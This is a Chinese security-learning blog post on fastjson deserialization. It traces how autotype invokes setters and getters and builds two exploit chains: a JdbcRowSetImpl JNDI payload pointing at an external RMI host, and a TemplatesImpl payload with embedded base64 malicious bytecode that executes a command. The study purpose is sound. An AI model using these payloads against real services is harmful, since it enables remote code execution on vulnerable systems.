[Java安全]fastjson学习

Posted 2021-09-22 bfengj

前言

开始学习fastjson，TemplatesImpl利用链让我跟的脑子疼，还是太菜了，断点打到后面整个人都是懵的。

初认fastjson

Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象。

它关键的方法就是三个：

• 将对象转换成JSON字符串：JSON.toJSONString
• 将JSON字符串转换成对象：JSON.parse和JSON.parseObject()

简单的写个类：

package com.feng.pojo;

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) throws Exception{
        System.out.println("setAge");
        //Runtime.getRuntime().exec("calc");
        this.age = age;
    }
    public void setTest(int i){
        System.out.println("setTest");
    }
}

之所以会有这么个setTest()，后面会聊到。

来测试一下对象转JSON字符串：

        Student student = new Student();
        student.setAge(18);
        student.setName("feng");
        System.out.println("====================");
        String jsonString1 = JSON.toJSONString(student);
        System.out.println("====================");
        String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonString1);
        System.out.println(jsonString2);

构造函数
setAge
setName
====================
getAge
getName
====================
getAge
getName
{"age":18,"name":"feng"}
{"@type":"com.feng.pojo.Student","age":18,"name":"feng"}

可以看到，调用JSON.toJSONString会自动调用类的getter。

可以发现这个SerializerFeature.WriteClassName，设置的话就会加上@type，指明类。

再试试JSON字符串转对象：

        String jsonString1 = "{\\"age\\":18,\\"name\\":\\"feng\\"}";
        String jsonString2 = "{\\"@type\\":\\"com.feng.pojo.Student\\",\\"age\\":18,\\"name\\":\\"feng\\"}";
        System.out.println(JSON.parse(jsonString1));
        System.out.println("======================");
        System.out.println(JSON.parse(jsonString2));
        System.out.println("======================");
        System.out.println(JSON.parseObject(jsonString1));
        System.out.println("======================");
        System.out.println(JSON.parseObject(jsonString2));
        System.out.println("======================");

{"name":"feng","age":18}
======================
构造函数
setAge
setName
com.feng.pojo.Student@7bb11784
======================
{"name":"feng","age":18}
======================
构造函数
setAge
setName
getAge
getName
{"name":"feng","age":18}
======================

可以发现parseObject最后得到的还是JSON对象。看一下源码可以知道，parseObject其实就是调用一次parse，然后转换成JSONObject：

    public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        if (obj instanceof JSONObject) {
            return (JSONObject) obj;
        }

        return (JSONObject) JSON.toJSON(obj);
    }

还可以发现，如果不带上@type指明类名，是没法得到类对象的。

如果指明了类名，使用parse的时候，不仅会得到对象，还会调用这个对象的setter；使用的是parseObject的话，不仅会得到对象且调用setter，还会调用getter。

这种利用@type的机制也叫autotype：

autotype 是 Fastjson 中的一个重要机制，粗略来说就是用于设置能否将 JSON 反序列化成对象。

这种会调用setter和getter的机制，很容易想到之前CommonsBeanutils1文章里的PropertyUtils.getProperty，将会调用对应属性的getter，而且不是说那种调用，是get+属性，调用这种方法。

因此同理我在类中设置了一个setTest方法，但是不存在test属性。经过测试，如果JSON字符串里有了test键，在parse的时候也确实会调用这个方法，其实这时候就多少会联想到TemplatesImpl的getOutputProperties。不过这个之后再谈。

JdbcRowSetImpl利用链

知道了这些东西，如果parse或者parseObject的字符串可控的话，是否可以造成攻击呢？

这就引出了fastjson的两种攻击方式。好用的肯定还是这个JNDI攻击方式。

关于JNDI注入的相关知识，上一篇已经提到了，就不再多阐述了。

关键就是JdbcRowSetImpl类的setDataSourceName()方法和setAutoCommit方法。看一下这个利用链是怎么攻击的：

    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }
    }

如果this.conn为null的话，会进入this.connect()：

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

可以很清楚的看到下面两行，很明显的一个JNDI。想办法得让this.getDataSourceName()可控：

    public String getDataSourceName() {
        return dataSource;
    }

也就是要控制dataSource属性。跟进一下setDataSourceName()：

    public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

        URL = null;
    }

直接设置就好了。构造一波：

{\\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\",\\"dataSourceName\\":\\"rmi://121.5.169.223:39654/feng\\", \\"autoCommit\\":true}

        String jsonString1 = "{\\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\",\\"dataSourceName\\":\\"rmi://121.5.169.223:39654/feng\\", \\"autoCommit\\":true}";
        JSON.parse(jsonString1);

TemplatesImpl利用链

给我看的脑子疼。跟进的太嘛了，也是跟了一遍，很懵，可以自己跟进一遍叭。

总的来说，既然想到利用TemplatesImpl，就是调用getOutputProperties，但是parse不应该只调用setter吗？关键就在于这里。打断点跟进一下就会发现，当解析到_OutputProperties的时候在这里设置值：

继续跟进，可以发现在setValue里面的第66行得到了这个getOutputProperties方法

并且进入了这里的if，调用了这个方法：

试得TemplatesImpl可以利用。接下来就是联想一下反序列化中的TemplatesImpl：

        byte[] bytes = Base64.getDecoder().decode("xxx");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templates,"_name","feng");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

设置这三个属性，然后调用getOutputProperties方法即可。

不过这种方法有很大的局限，就是private属性的还原。上面讲fastjson的时候用到的Student类的属性都是private，也都成功还原了。但是你仔细想想，是因为我加了setter啊。private属性咋可能会有setter？这就导致了，要还原private属性的话，需要加上个Feature.SupportNonPublicField才可以：

JSON.parse(jsonString, Feature.SupportNonPublicField);

给出构造的payload：

        String jsonString = "{\\"@type\\":\\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\\",\\"_bytecodes\\":[\\"yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTEV2aWw7AQANU3RhY2tNYXBUYWJsZQcAKwcAKQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFQANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj\\"],\\"_name\\":\\"feng\\",\\"_tfactory\\":{},\\"_outputProperties\\":{}}";

        JSON.parse(jsonString, Feature.SupportNonPublicField);

可以很奇怪的发现，_bytecodes那里使用了base64编码，这是取了Evil.class然后Base64编码。原因就在于，最后在这里得到bytes的时候：

                    } else {
                        val = deserializer.deserialze(this, type, i);
                    }

        if (lexer.token() == JSONToken.LITERAL_STRING) {
            byte[] bytes = lexer.bytesValue();
            lexer.nextToken(JSONToken.COMMA);
            return (T) bytes;
        }

public byte[] bytesValue() {
    return IOUtils.decodeBase64(text, np + 1, sp);
}

对_bytecode的值进行了base64解码。可以自己跟一下代码看看。所以需要base64编码。

其实想想这种处理方式是很正确的，因为这种字节数组，很容易有不可见字符，所以加一层base64才行。

后记

fastjson的第一篇文章，暂时学习了两条攻击链，接下来就是学习不同版本的限制以及绕过。

参考链接

https://xz.aliyun.com/t/8979

https://aluvion.gitee.io/2020/08/23/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%9C%BA%E5%88%B6%E5%92%8Cautotype%E8%A7%82%E6%B5%8B/

https://www.freebuf.com/vuls/228099.html

http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/